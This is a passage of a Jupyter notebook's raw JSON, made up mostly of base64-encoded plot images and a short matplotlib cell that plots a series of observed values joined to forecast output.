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", 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" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "plt.figure(figsize=(13,6))\n", + "\n", + "ds3=df_high.tolist()\n", + "ds3.extend(lst_output)\n", + "plt.plot(ds3[2000:])\n", + "plt.show()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 374 + }, + "id": "O9vkxtqkPwCz", + "outputId": "d3f96ca4-fb38-486a-903b-faf8d2ec4887" + }, + "outputs": [ + { + "data": { + "image/png": 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